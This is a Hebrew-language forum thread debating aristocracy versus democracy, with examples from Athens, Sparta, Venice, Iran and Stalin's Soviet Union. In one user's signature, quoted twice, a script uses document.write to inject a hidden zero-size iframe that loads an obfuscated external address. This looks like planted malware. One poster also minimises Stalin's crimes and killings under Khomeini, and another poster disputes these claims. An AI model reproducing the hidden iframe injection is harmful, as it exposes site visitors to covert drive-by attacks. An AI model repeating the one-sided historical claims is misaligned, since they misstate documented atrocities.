| נשלח ב-14/1/2018 03:18 |
 |
| |
כתבה פילוסופית-מדינית
היוונים האלה דנו דיונים פילוסופיים גם בקרב מלחמה.
עורכים עכשיו השוואה בין אתונה"ספרטה לארה"ב"ברה"מ.
אתונה היא דמוקרטיה "הנאורה", "החופשית" (המערב כמובן). ואת ספרטה כשם גנאי מנסים להציג ("חשוכה", "מדכאת"). מעניין, כי בפועל ההיסטורי דווקא אתונה הדמוקרטית, בלי הרף, שאפה וניסה להתפשט ולשעבד כמה שיותר מדינות חופשיות, להיות אימפריה.
ספרטה – שלטון אריסטוקרטי, הייתה דווקא מנוגדת למלחמות הרחק מגבולותיה, כרתה בריתות עם מדינות חופשיות. באי מלוס היה שלטון אריסטוקרטי. בזמן המלחמה הפלופונסית, אתונה דנה דיונים פילוסופים עם אנשי מלוס, כולל "צדק", "אמת". יותר נכון עם אנשי הסנהדרין שלהם (את המושג "סנהדרין" חז"ל קלטו מהאריסטוקרטיה היוונית).
אלא אחרי הדיאלוג, התנפלו הדמוקרטים על המדינה האריסטוקרטית והרגו את כוווולם, לפי המסופר אצל תוקידידס.
(אגב, ונוס ממילו היא משמה, ממילוס)
בסוף, אתונה נחלה כישלון במלחמה עם ספרטה, והאימפריה האתונאית חדלה. מי שמוציא שם רע על ספרטה, נראה, כי קודם כול הוא בור. אפלטון מזכיר את המשטר הספרטני כשמדבר על המשטר האידאלי. בור ודמגוג, הרי דמגוגיה היא אופיין לדמוקרטיה, עוד מימי אפלטון. ואילו, ל"המערב" ו"המזרח" העכשווי, נראה לי, רחוק עד מאוד לרמה אינטלקטואלית ימי חכמי יוון העתיקה. ולגבי המשטר המדיני בזמננו, המבנה המדיני באירן הוא יותר בכיוון הנכון, יש שם הנהגה הרוחנית השומרת על ההשקפה, וגם בחירות דמוקרטיות. לא סתם חומייני כתב מכתב אל גורבצ'וב עם תוכן פילוסופי . https://www.facebook.com/permalink.php?story_fbid=1609141299159646&id=100001913749444
נשאר להם להתיידד עם ישראל ועם נצח ישראל, כנראה, זה מה שחסר לעם שם עכשיו בעיקר.
(אגב, גם את שיעה טרח לייסד יהודי בשם עבדאללה אבן סבא). היוונים דנו פילוסופית תוך כדי קרב מלחמה, ומי אצלנו מסוגל להוכיח משהו פילוסופית ל"פרטנרים"?
לחרדים הפילוסופיה היא מוקצה,
לחילונים הדמוקרטיה היא אלוה, ודמגוגים הם נביאיה,
כיפה סרוגה סגורים בנדל"ן על הארץ. https://www.rt.com/uk/413980-boris-johnson-sparta-russia/?utm_source=rss&utm_medium=rss&utm_campaign=RSS https://www.facebook.com/permalink.php?story_fbid=1831749846898789&id=100001913749444 _________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
 |
|
|
|
|
| נשלח ב-3/6/2018 01:24 |
|
| |
| מיימוני כתב: |  | אם הבנתיך אתה טוען שהשקפה מגדירה עם ועל השקפה צריך להגן וזה נעשה בדרך של מחשבה ועימות.
ובכן, התלות של עם בהשקפתו אינה רעיון חדש לגמרי,
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
לאומים, הייתי אומר, נבדלים באופי חוצפתם, ואילו אמת העם היא על פי השקפתו.
עם זה, אין אמת מוחלטת, רק שאיפה אליה.
מה שאמתי יותר הוא מנצח, כך או כך, במוקדם ובמאוחר.
אז חבל להגן על טעויות בהשקפה, וטעויות יש תמיד.
השאלה היא איך להגן על האמת ולא לטעות בדרך, הרי הדרך היא חלק האמת.
התרשמתי כי מצטייר קונסנסוס אתך בזה.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-23/5/2018 10:01 |
|
| |
ינוח
אם הבנתיך אתה טוען שהשקפה מגדירה עם ועל השקפה צריך להגן וזה נעשה בדרך של מחשבה ועימות.
ובכן, התלות של עם בהשקפתו אינה רעיון חדש לגמרי, ודנו בשאלה זו ובגישה זו בימי ראשית ההשכלה וגם אחר כך.
רנ"ק, הוא רבי נחמן קרוכמאל, פילוסוף יהודי אורתודוכסי הגליאני שראוי לסקירה, דווקא סבר שעם ישראל מתפתח ולכן יתכן שגם השקפותיו מתפתחות.
אותו רעיון מצאנו גם אצל הרב קוק.
לפי זה התורה מתבארת והשקפותיה מתעדכנות ומשתדרגות מדור לדור. כמובן, כאשר השקפה תורנית משתנה צריך לבדוק שזה באמת שיפור ולא ירידה וניוון...
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-21/5/2018 00:27 |
|
| |
| תלמיד_חבר כתב: | |
בדמוקרטיה, המנהיג לא ייבחר בפעם הבאה. |
|
בדרום אפריקה, איבד "העם הלבן" את השלטון במדינתו בדביקות לדמוקרטיה, באריתמטיקה, ברוב קולות.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-18/5/2018 18:59 |
|
| |
| מיימוני כתב: | | נראה לי שאם יש לך טעות, הריהי באידיאלים המרוממים שלך. המציאות העגומה היא שבני אדם ומנהיגים כאחד אינם כפי שהתיאוריות הפילוסופיות מתארות אותם... (אני יכול לומר זאת גם לגבי עצמי).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
אין מי שלא יחטא. ואילו לחתור לאמת זה דבר תמידי ולא נגמר.
האדם מחפש את אמת שלו אישית ובמסגרת העם. ככה הוא בנוי.
חיפוש השקפת האמת זה פילוסופיה בהגדרה.
לשמור על העם זה לשמור על השקפתו, כי מיוחדות, סגולת העם היא בהשקפתו קודם כול.
מצד שני, ההשקפה דורשת פיתוחה תמידי.
אם השקפה משתנה באופן עקרוני, זה אומר שעם אחר בעצם הופיע, אפילו עם אותה שפה ושטח.
בקיצר, הנהגה השקפתית היא חיונית, אם העם רוצה להישאר אותו עם. ולא רוצה להתחלף ברוב קולות בעם אחר.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-18/5/2018 18:54 |
|
| |
| תלמיד_חבר כתב: | |
איך מסיימים במשטר לא דמוקרטי שלטון "פילוסופי מוטעה"? |
|
להבדיל, בסנהדרין התחלפו חברים, תברר נא במחקרים איך.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-17/2/2018 19:05 |
|
| |
ואתה תחזה מכל העם אנשי חיל אנשי אמת שונאי בצע וכו'.
פירש רש"י:
אנשי חיל - עשירים, שאין צריכים להחניף ולהכיר פנים (להבדיל מהמשתוקקים להיות עשירים או הקמצנים, שהשררה עלולה להשחיתם)
אנשי אמת - אלו בעלי הבטחה שהם כדאי לסמוך על דבריהם, שע"י כך יהיו דבריהם נשמעים (להבדיל מרודפי שררה, שלא מקיימים הבטחות ולכן לא ראוי לסמוך על דבריהם)
שונאי בצע - ששונאין את ממונם בדין (להבדיל מרודפי ממון שאוהבים את ממונם)
תוקן על ידי מם80 ב- 17/02/2018 19:16:45
|
|
|
|
| נשלח ב-16/2/2018 15:22 |
|
| |
| מם80 כתב: | | ברפובליקה של ונציה הדוג'ה, שהוגדר כראשון בין שווים, לא יכל לפעול ללא המועצה הגדולה, והמועצה הגדולה לא יכלה לפעול ללא הדוג'ה. במהלך הדורות סמכויותיו של הדוג'ה הלכו והוגבלו הן ע"י חוקה והן ע"י מנגנון יועצים, כדברי הפתגם "אכן מת הדוג'ה אבל לא הסיניורה" (הסניורה היתה מעין ממשלה של הרפובליקה). הערכים העיקריים של האריסטוקרטיה הונציאנית היו מסחר ושירות המדינה. במשפחות האריסטוקרטיה הונציאנית היתה חלוקה ברורה בין אנשים שנועדו מלכתחלה להיות סוחרים ואנשים שמכתחלה נועדו לשרת את המדינה במשרות ציבוריות בכירות. הדברים התקלקלו כשאנשים הראויים למשרות ציבוריות הלכו לעסוק במסחר, וכשאנשים המתאימים למסחר הלכו לעסוק בפוליטיקה. שמא בשנים האחרונות אותו בלבול מתרחש, פחות או יותר, גם בדמוקרטיות המודרניות?
|
|
אינני בקיא כמוך בקורותיה של הרפובליקה הוונציאנית, אך אני יכול לחשוב על שתי חסרונות שנובעים מכך שאנשי מסחר הופכים למנהיגים פוליטיים.
הראשון הוא חוסר כישרון, ידע וניסיון בנושאי המדינה. אנטוניו גרימאני היה סוחר עשיר בוונציה של המאה ה-15 שמונה לפקד על הצי הימי, ובשל חוסר נסיונו, הצי הובס בקרב. קשה לחשוב בימינו על דמוקרטיה שתמנה איש חסר ניסיון צבאי לפקד על יחידה צבאית. דווקא בדיקטטורות ניתן לפעמים לראות את השליט ממנה את בנו הצעיר שחסר כל כישורים צבאיים לתפקיד צבאי בכיר.
החסרון השני הוא שסוחר עשיר ששולט על חלק מהמשק, ייתן עדיפות לאינטרסים של האימפריה העסקית שלו, על פני אלו של המדינה. גם ראשי ממשלה בישראל שהתעשרו או שהואשמו בשחיתות, לא היו טייקונים ששלטו בחברות גדולות במשק הישראלי, כך שניגוד האינטרסים הזה לא ממש קיים. בימינו, מערכת המשפט וגם אמצעי התקשורת מאוד ביקורתיים בנושא.
אדרבה, כניסה של אנשי עסקים לתחום הפוליטי, יכולה לשפר את ההבנה לצורכי העסקים, לקשיים והבירוקרטיה שהם מתמודדים מידי יום ביומו. ברור שההנהגה לא צריכה להתבסס רק על אנשי עסקים, בדיוק כפי שאסור שתורכב רק מיוצאי צבא, אלא שילוב מאוזן של אנשים טובים מתחומים שונים.
|
|
|
|
| נשלח ב-15/2/2018 20:07 |
|
| |
ברפובליקה של ונציה הדוג'ה, שהוגדר כראשון בין שווים, לא יכל לפעול ללא המועצה הגדולה, והמועצה הגדולה לא יכלה לפעול ללא הדוג'ה. במהלך הדורות סמכויותיו של הדוג'ה הלכו והוגבלו הן ע"י חוקה והן ע"י מנגנון יועצים, כדברי הפתגם "אכן מת הדוג'ה אבל לא הסיניורה" (הסניורה היתה מעין ממשלה של הרפובליקה). הערכים העיקריים של האריסטוקרטיה הונציאנית היו מסחר ושירות המדינה. במשפחות האריסטוקרטיה הונציאנית היתה חלוקה ברורה בין אנשים שנועדו מלכתחלה להיות סוחרים ואנשים שמכתחלה נועדו לשרת את המדינה במשרות ציבוריות בכירות. הדברים התקלקלו כשאנשים הראויים למשרות ציבוריות הלכו לעסוק במסחר, וכשאנשים המתאימים למסחר הלכו לעסוק בפוליטיקה. שמא בשנים האחרונות אותו בלבול מתרחש, פחות או יותר, גם בדמוקרטיות המודרניות?
|
|
|
|
|
| נשלח ב-14/2/2018 23:15 |
|
| |
ינוח,
אכן הפילוסופיה של חומייני היייתה מוטעית, אבל איך מסיימים במשטר לא דמוקרטי שלטון "פילוסופי מוטעה"? בדמוקרטיה, המנהיג לא ייבחר בפעם הבאה. לעומת זאת בדיקטטורות, במקרה הטוב המנהיג יודח (כמעט תמיד באלימות קשה), ובמקרה הפחות טוב, האזרחים נשארים להרבה שנים תקועים עם המשטר השנוא, למרות ניסיונות להחלפה שגם הם אלימים מאוד. אפילו מחאה תמימה, תסתיים במרחץ דמים. כאלו היו כמעט או כל המשטרים הטוטליטריים של המאה ה20.
אגב, במהפכה האסלאמית הוצאו רבים להורג על ידי השלטון החדש. גם בשנים שלאחר מכן המשיכו להוציא להורג בקצב מוגבר על עבירות שונות, כולל נשים שלא הסכימו לכסות את שערותיהן.
רפובליקת ונציה הייתה דמוקרטיה אריסטוקרטית רק במובן שלמשפחות החזקות היה מונופול על השלטון. הגדרתה כ"שלטון הפילוסופים" היה מעליב קשות את הוונציאנים… הרפובליקה התאפיינה בכך ששמה את המסחר מעל כל ערך קיים. משפחות האצולה בחרו מתוכה את המנהיג הבא, לרוב אדם זקן, כדי שלא ישלוט זמן רב. אך כפי שציים מם80, לאחר תקופה, החלו לבחור מנהיג שישרת רק את האינטרסים של האריסטוקרטיה או של הבוחרים, ולא את של הציבור הרחב, מה שממחיש את הצורך בזכות בחירה לכול.
הרמב"ם נולד בספרד, ונמלט ממנה עם משפחתו בילדותו לצפון אפריקה ומשם לארץ ישראל, והשתקע במצרים. כל המדינות שבהן עבר היו דיקטטוריות. הוא כמובן לא הכיר את הרפובליקה הוונציאנית, בניגוד לאברבנאל שאף נפטר בה לאחר שהוזמן לפשר בסכסוך מקומי.
אם אתה בדווקא מחפש את המדינות הראשונות שהכירו בהיטלר, אז תוכל למצוא אותן בספרד ואיטליה הפשיסטיות שממש "הלכו לאורו" של הצורר. מספר שנים לאחריהן צ'מברליין חתם על חוזה עם גרמניה, שבה רק הסכימו להחזרת שטחים שרוב אזרחיהן גרמנים, ולאחריה חתמו על הסכם שלא יילחמו זה כנגד זה.
"רעב תפוחי האדמה" באירלנד נגרם - כפי ששמו מרמז - מפגיעה קשה ביבול תפוחי האדמה שהיה הגידול החקלאי העיקרי במדינה. גם הרעב בבנגל (שהשלטון בה היה קולוניאליסטי ולא דמוקרטי) בעיצומה של מלחמת העולם השניה, נגרם כתוצאה מגורמים שונים. אכן, הממשלה הבריטית כשלה בשני המקרים בטיפולה, ויש לה אחריות לנעשה. אבל לדמות את סטלין שמדיניותו בלבד הרעיבה את אוקראינה שהייתה "אסם התבואה" של אירופה, ואף הורה לרצוח חלק מאזרחיה, לצ'רצ'יל, פשוט מגוחכת. "שמש העמים" אף נודע כאחד מגדולי המרצחים של כל הזמנים, בשנים 1936-1339 ביצע טיהורים נרחבים בברית המועצות, ובמסגרתה הורה לרצוח כמעט את כל חברי מפלגתו, וחלק גדול מהאינטלגנציה וראשי הצבא - בסה"כ כמיליון איש רק באותן שנים. סטלין לא "החזיר את מה שהיה רוסי". ממש לא. הרוסים באותן מדינות היו מיעוט קטן עד קטן מאוד.
ולסיום, בעיני הקטע החשוב בתגובתך היא מה שציינת כי "איני עוסק במחקרים היסטוריים היקפים, זה לא הנושא שלי כאן." את חוקרי מדעי המדינה זה בהחלט הנושא, בפרט ההיסטוריה הפוליטית של העת החדשה. מחקרם אינו מתבסס על בחירה סלקטיבית ומותאמת של אפיזודות שיתאימו לאג'נדה ספציפית, אלא מחקר כולל של המדינות השונות, דרכי שלטונם, והישגיהם. והמסקנות הן חד משמעיות לטובת הדמוקרטיה הליברלית.
|
|
|
|
|
| נשלח ב-6/2/2018 16:55 |
|
| |
רצוי להבחין בין אריסטוקרטיה, במובן השלטון הטובים ביותר, לבין מעמד אריסטוקרטי, שפירושו המעמד הגבוה ביותר או מעמד האצולה. רוב הדמוקרטיות הקדומות והרפובליקות שבימי הביניים ואילך היו מבוססות על מעמד אריסטורקטי העובר בירושה. הצלחת מעמד אריסטוקרטי בשמירת השקפה תלויה במוסר ובערכים של אנשיו. לדוגמא, בתור הזהב של הרפובליקה של ונציה משפחות האריסטוקרטיה בחרו מנהיגים ראויים שהקדישו את חייהם לטובת כלל הרפובליקה. מהמאה ה-16 וה-17 ואילך האריסטוקרטיה הונציאנית הלכה ובחרה מנהיגים לא ראויים, רודפי שררה וממון, שדאגו רק לאינטרסים של האריסטוקרטיה או של בוחריהם. כתוצאה מכך הרפובליקה של ונציה הלכה ונהייתה מושחתת וירדה מגדולתה.
|
|
|
|
| נשלח ב-6/2/2018 02:23 |
|
| |
| תלמיד_חבר כתב: | | כדוגמא לשליט שמנהיג את עמו לפי השקפת העולם הפילוסופית שלו, ציינת את חומייני. האם אתה סבור שלמרות הרוע החומייניסטי, היתרון של עקרון המנהיג הפילוסוף חשוב יותר מכל נזק נגרם (כולל המוני הנרצחים תחת שלטונו), או ששלטונו הפילוסופי היה מצויין לאזרחיו, ורק אנשי המערב הפופוליסטים והשטחיים טחו עיניהם מלראות את האור הגדול? |
|
ציינתי כי האריסטוקרטיה מאפשרת לשמור על השקפה. ההשקפה באיראן כמובן מוטעית.
על "המוני הנרצחים תחת שלטונו" לא ראיתי מידע, היו המון קרבנות במלחמה עם עיראק.
יש להם הישגים משמעותיים בשירותים רפואיים וחברתיים. האוכלוסייה גדלה פי שתיים מ1979 עד 2006, התווספו כ-35 מיליון איש (ברור שזה מציב קשיים), ושיעור התמותה הכולל ירד בחצי.
***ונבין מדוע צריך פיקוח ואפשרות להחלפה על ידי הציבור.***
ברפובליקת ונציה, למשל, היו מבינים את זה חזק, ושלטון אריסטוקרטי שלהם כלל בחירות ופיקוח, אם כי על ידי אריסטוקרטים, וזה עבד טוב במאות שנות הפריחה.
***הרמב"ם ואנשי דורו לא הכירו בימיהם אף מדינה דמוקרטית, אפילו לא ליברלית.***
באותה רפובליקת ונציה הייתה שיטת הבחירות המפוכחת, כנראה יותר מתוחכמת מארצות הברית עכשיו.
וחוץ מזה, הדמוקרטיה זה לא המצאה, מהדמוקרטיה התחילו הרבה עמים, כולל רומאים וגרמנים.
***צ'מברליין חטא רק בנאיביות***
לא חיפשתי אצלו בנפש, אבל עובדה שבריטניה מסרה ראשונה את הטרפה לנאצים, וראשונה קרתה ברית אתם. כדאי להודות בעובדות לפני חיפושים בנפש. סטלין פשוט החזיר את מה שהיה רוסי, ועובדה שאוקרינה מערבית נשארה גם עכשיו אצל אוקרינה ווילנה בליטא.
לא אחזור לזה.
***אתה מנסה לצבוע באור חיובי רוצחי המונים מהגרועים ביותר, על ידי בחירה סלקטיבית של אפיזודות שיתאימו לאג'נדה שלך שבזה לדמוקרטיה, תוך התעלמות שיטתית מפשעיהם הרבים שבכל מקרה רבים פי כמה.***
איני עוסק במחקרים היסטוריים היקפים, זה לא הנושא שלי כאן.
ואילו משלים אני, אם כבר, את המידע שלך אכן חד צדדי.
מדבר אתה על 'מדיניות הקולקטיביזציה של סטלין יצרה (במכוון או שלא במכוון) רעב המוני שבו מתו מיליוני אנשים'.
בואו נשמע מצד שני גם, מצד חביב הדמוקרטים, מצד אובמה:
"קשה לשכנע הודים, שצ'רצ'יל הציל את הציוויליזציה, כאשר הם זוכרים שהוא הרעיב שלושה מיליון הודים למוות במערב בנגל ב-1943 וגילה אדישות וציניות כאשר קיבל דיווח על הזוועה."
כדאי להיזכר, אם כבר, על "רעב תפוחי האדמה הגדול באירלנד", ש"מחוללי הזוועות היו המדיניות הכלכלית של ממלכת בריטניה הגדולה", ויש דעה במערב כי הבריטים "ניהלו "השמדת עם" מכוונת, כלומר ניצלו את רעב תפוחי האדמה כדי להפטר מהאוכלוסייה האירית הבלתי רצויה."
נמשיך, וניזכר, כי מחנות הריכוז, זה לא המצאת סטלין, אלא המצאת בריטניה דמוקרטית במלחמת הבורים,
"החל ממרץ 1901 החל לורד קיצ'נר לנקוט בטקטיקה של אדמה חרוכה, כשכוחותיו פושטים על חוות ועיירות הבורים ושורפים אותן כליל, מרעילים את בארותיהם ומחרימים את הבקר והמקנה... נשותיהם וילדיהם, שנותרו ללא קורת גג עם שרפת עיירותיהם וחוותיהם, הושמו במחנות פליטים שכונו "מחנות ריכוז" (לימים ישתמשו הנאצים בשם זה למתקני העינויים וההשמדה שהקימו)... עד סוף המלחמה נכלאו כ-120,000 בורים (כרבע מכלל האוכלוסייה הבורית) במחנות, וכרבע מתוכם מתו בהם מרעב וממחלות, מרביתם ילדים."
נעצור בינתיים עם זוועות הדמוקרטיה.
הנושא שלי כאן אחר.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-1/2/2018 15:51 |
|
| |
תלמיד חבר
זר איקונים ירוקים!
המשפט החשוב בעיני (מבין כמעט כולם):
האנלוגיה של המנהיג כמורה, והעם כתלמידיו אינו במקומה. לא רק שזה אינו נכון. הרי המנהיג אינו מחזיק במוחו ידע מופלא שאין ליתר האומה...
ולכולם -
נראה שתלמיד חבר מעניק לנו דוגמאות כיצד יש ללמוד נושא ולכתוב אודותיו. מתוך הכרת החומר (העובדות ההיסטוריות), ניתוח לוגי (מה תקף - מבוסס - ומה לא), כולל הצבעה על מתודולוגיות שגויות. וכמובן יכולת כתיבה בהירה ומושכת, וגם זה דבר שצריך ללמוד ולרכוש.
(ולמרות שדעתי נוחה ממה שכתב, אני עדיין חושש להסיק מסקנות מן ההיסטוריה. אך כדי להסביר מדוע כנראה צריך לכתוב יותר מכפי שאפשר, וגם אז יתכן שאפשר להסיק מסקנות בזהירות מירבית).
ינוח
נראה לי שאם יש לך טעות, הריהי באידיאלים המרוממים שלך. המציאות העגומה היא שבני אדם ומנהיגים כאחד אינם כפי שהתיאוריות הפילוסופיות מתארות אותם... (אני יכול לומר זאת גם לגבי עצמי).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-1/2/2018 13:59 |
|
| |
ינוח,
כדוגמא לשליט שמנהיג את עמו לפי השקפת העולם הפילוסופית שלו, ציינת את חומייני. האם אתה סבור שלמרות הרוע החומייניסטי, היתרון של עקרון המנהיג הפילוסוף חשוב יותר מכל נזק נגרם (כולל המוני הנרצחים תחת שלטונו), או ששלטונו הפילוסופי היה מצויין לאזרחיו, ורק אנשי המערב הפופוליסטים והשטחיים טחו עיניהם מלראות את האור הגדול?
ביססתי את דברי על חז"ל שקבעו: "תנו רבנן משמתו הנביאים האחרונים חגי זכריה ומלאכי נסתלקה הנבואה מישראל". כמובן, שהמצפון עדיין איתנו (למרבה המזל), אך מצפון המנהיג אינו זך יותר משל נתיניו. תוסיף לכך את השחתת הכוח, הניתוק מהעם, המקורבים החנפים, והקושי להודות בטעות ולשנות דרך, ונבין מדוע צריך פיקוח ואפשרות להחלפה על ידי הציבור.
כתבת "בימי הרמב"ם ידעו מה זה דמוקרטיה, והבינו את מה שדמגוגים גם עכשיו לא מוכנים להפנים." ??
הרמב"ם ואנשי דורו לא הכירו בימיהם אף מדינה דמוקרטית, אפילו לא ליברלית. מה לעשות, אלו הן העובדות ההיסטוריות.
צ'מברליין חטא רק בנאיביות, שהסכים למסירת חבל הסודטים (שרוב תושביו היו גרמנים) לגרמניה, בתקווה למנוע מלחמה. לאחר פלישת גרמניה לפולין, הוא הכריז מלחמה כנגדה, ואף התפטר. סטלין לעומתו, מעבר לנאיביות, חתם על הסכם כדי לאפשר מלחמה, שבה גרמניה וברית המועצות יכבשו כל אחת חלק ממדינות אירופה, ומיד פתח במלחמה.
פולין של אותם ימים כבר לא הייתה דמוקרטית. ומכל מקום, היא פלשה לשטח שהיה נתון במחלוקת שנים רבות בין שתי המדינות, בשונה מסטלין שפשוט ניסה לכבוש את מזרח אירופה.
מיד לאחר הסכם ריבנטרופ מולוטוב, הגיעה ברית המועצות להסכם עזרה הדדית עם המדינות הבלטיות, ובמסגרתה הם הסכימו להצבת מספר רב של חיילים סובייטים במדינותיהם. היקף הכוחות של הצבא האדום שהוצב במדינות הבלטיות היה דומה לכוח הצבאי של המדינות הללו. ב-10 באוקטובר נחתם הסכם עם ליטא. לפי ההסכם אזור וילנה עבר לליטא ובשטח המדינה הוצב כוח סובייטי בהיקף של 20 אלף חיילים. כצפוי, מספר חודשים לאחר חתימת ההסכמים, הממשל הסובייטי החל בתלונות על כך שממשלות של המדינות הבלטיות אינן מקיימות את ההסכמים שנחתמו, וכבש את המדינות. תוך שנה הוגלו מליטא כ17.5 אלף תושבים לסיביר, ומרביתם מתו שם. גם לאחר מותו של סטלין, סבלו הליטאים תחת עולם של הקומוניסטים.
אך מצבם שפר עליהם לעומת האוקראינים. מדיניות הקולקטיביזציה של סטלין יצרה (במכוון או שלא במכוון) רעב המוני שבו מתו מיליוני אנשים, ואחרים הועמדו לדין, הוצאו להורג או הוגלו. כמיליון מהנספים היו תינוקות, האסון מכונה בפי האוקראינים "הולודמור" שמשמעותו "רצח על ידי הרעבה". גם האוקראינים - כפויי טובה שכמותם, מתקשים להכיר טובה לסטלין.
רציחותיו של סטלין במדינות הבלטיות ובאוקראינה גרמו לכך שהם קיבלו בהתחלה את הכובשים הנאציים כמשחררים. השלכה טרגית לבני עמינו הייתה האחוז הגבוה ביותר של נרצחים בשואה באותן מדינות, בגלל שתושביהן זיהו את היהודים כקומוניסטים - מה שהגביר מאוד את השנאה כלפיהן, ולכן רבים מיהודים נרצחו מיד על ידי התושבים המקומיים, עוד לפני ההשמדה ההמונית של הגרמנים.
והערה לסיום (וסליחה מראש על הנימה הביקורתית), מעבר לדוגמאות הבעייתיות שאתה מציין, יש כשל מתודולוגי בסיסי בגישה שהנך מציג כאן. אתה מנסה לצבוע באור חיובי רוצחי המונים מהגרועים ביותר, על ידי בחירה סלקטיבית של אפיזודות שיתאימו לאג'נדה שלך שבזה לדמוקרטיה, תוך התעלמות שיטתית מפשעיהם הרבים שבכל מקרה רבים פי כמה. באופן הפוך בדיוק אתה נוהג ביחס למדינות דמוקרטיות. מדובר בכשל לוגי ידוע בשם קטיף דובדבנים (מינוח ששואב השראה מתהליך קטיף ממשי, שבו מצופה מן הפועל לקטוף רק את הפירות הטובים עבורו. מי שיראה רק את הפירות שנקטפו עלול להסיק כי רוב הפרות במטע, או אף כולם, הם באיכות הטובה ביותר. מסקנה זו שגויה, משום שהפירות שנקטפו אינם מדגם מייצג של כלל הפירות). לפי מתודה זו ניתן למשל גם להמליץ על עישון 3 חפיסות סיגריות ביום, כי הרי תוכל (בקלות יתרה) למצוא מעשן כבד שהאריך ימים, ומנגד מישהו שהקפיד על אורח חיים בריא, ומת באופן פתאומי בגיל צעיר.
לא זו הדרך.
תוקן על ידי תלמיד_חבר ב- 01/02/2018 14:00:37
|
|
|
|
|
| נשלח ב-1/2/2018 03:36 |
|
| |
| מיימוני כתב: | | לפי הרמב"ם יש טעם להציג את השאלה איך הנביא משיג את נבואתו. ותשובתו היא שזה מורכב משילוב של כוח הדמיון (שהרמב"ם מאפיין בתוך תפיסה כוללנית של הפסיכולוגיה האנושית) ושל יכולת שכלית.
|
|
נראה לי, התיאור הזה, התודעה הפנימית, מתאר את המצפון, וקשור לקול פנימי שאומר לנו מה הטוב ומה הרע. ומייסר אותנו כאשר אנו שוגים ועושים רע.
הייתי אומר, עיקר תפקיד הנביא הוא לומר מה הוא טוב – תואם אמת פנימית, ומה הוא רע – שקר בנפשו.
לא תגנוב. למה? כי מצפון אומר, חובת הלבב. מי שעושה את זה לא על פי חובת הלב, אלא מפני ש"כתוב", או שמפחד מעונש, אז טוב הזה לא ממש טוב.
***שיש מנהיגים שנבחרו דמוקרטית וכשלו, כגון צ'מברליין. זה נכון. האם זה מוכיח שהדמוקרטיה מוטעית?***
אגב, הדמוקרטיה הבריטית היא במקורה שילוב אריסטוקרטיה ודמוקרטיה. הבית העליון (בית הלורדים) הוא הגוף האריסטוקרטי בפרלמנט הבריטי, והוא לא נבחר בבחירות, והיה בעל השפעה ובעל שליטה רבה יותר מהבית התחתון, הנבחר.
ברפובליקת ונציה, שהזכיר מם80, היה שלטון אריסטוקרטי, כי זכות לבחור ולהיבחר היה רק אצל אצולה-אוליגרכים וכמותם הייתה זניחה לכמות כלל האוכלוסייה (בימי אברבנאל, בימי פריחת הרפובליקה).
אבל הנושא שלי, הוא קודם כול עקרוני, האם על המנהיג להנהיג השקפה פילוסופית?
אם כן, אז הדמוקרטיה לא מתאימה וצריכה להשתלב עם אריסטוקרטית חכמי לב.
איך לבודד חכמי לב אלה טכנית, זאת שאלה טכנית חשובה, אבל לפני שפותרים אותה, יש להסכים ששאלה זאת באמת רלוונטית.
כל עם מוגדר על פי שטח מגורים, שפה והשקפה. השקפה היא המכריעה, עם אותו שטח ושפה, העם מוגדר על פי השקפתו. ובאומה יכולות להיות שפות שונות, אבל מה שמאחד הוא השקפה.
השקפות העמים במשך היסטוריה התבטאו בדת.
אבל ערך הדת הוא בהשקפה פילוסופית עליה דת מבוססת.
לסיפורים "כי אל אמר" אין משמעות בלי השקפה פילוסופית. אפשר לאלף חיות בפקודות, עם זה שחיות לא צריכות משמעות, מספיק עונש ותגמול. ואם כי גם המון מארגנים בפקודות, בלי משמעות פילוסופית, מסתפקים בעונש ותגמול. להמון, להבדיל מחיות, אפשר אפילו לא תגמול, אלא רק הבטחת התגמול, שם, בגו עדן. סיפרו לי, שישעיהו ליבוביץ טען, אם היה ספר טלפונים בהלכה, אז גם הוא היה קדוש. למה לא, אם "אל אמר". איני מסכים עם הטענות כאלה.
כול ההיסטוריה היהודית היא מאבק על ייחודיות השקפתה, מאברהם, ממשה עד משה, ועד לפני משה מנדלסון.
הנהגה יהודית תמיד הייתה אריסטוקרטית, אריסטוקרטיה רבנית וגם נביאית. אפילו שבט פילוסופי היה הוא שבט לוי.
בלי הנהגה השקפתית, יהדות הייתה מזמן נאלמת, מתבוללת.
אם כי, פעם, רבנים היו כמו הרמב"ם גם מדענים ופילוסופים.
וכעת, הרבנים עוינים למדע (בגלל כשל פילוסופי בהשקפתם), לכן להנהיג העם זה לא עליהם. ואם יש בודדים רבנים במדע, אז גם אלה מוכנים להקדיש ספר טלפונים "אם כתוב".
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-31/1/2018 00:12 |
|
| |
תלמיד
אענה לך בלי נדר בימים הקרובים
|
|
|
|
|
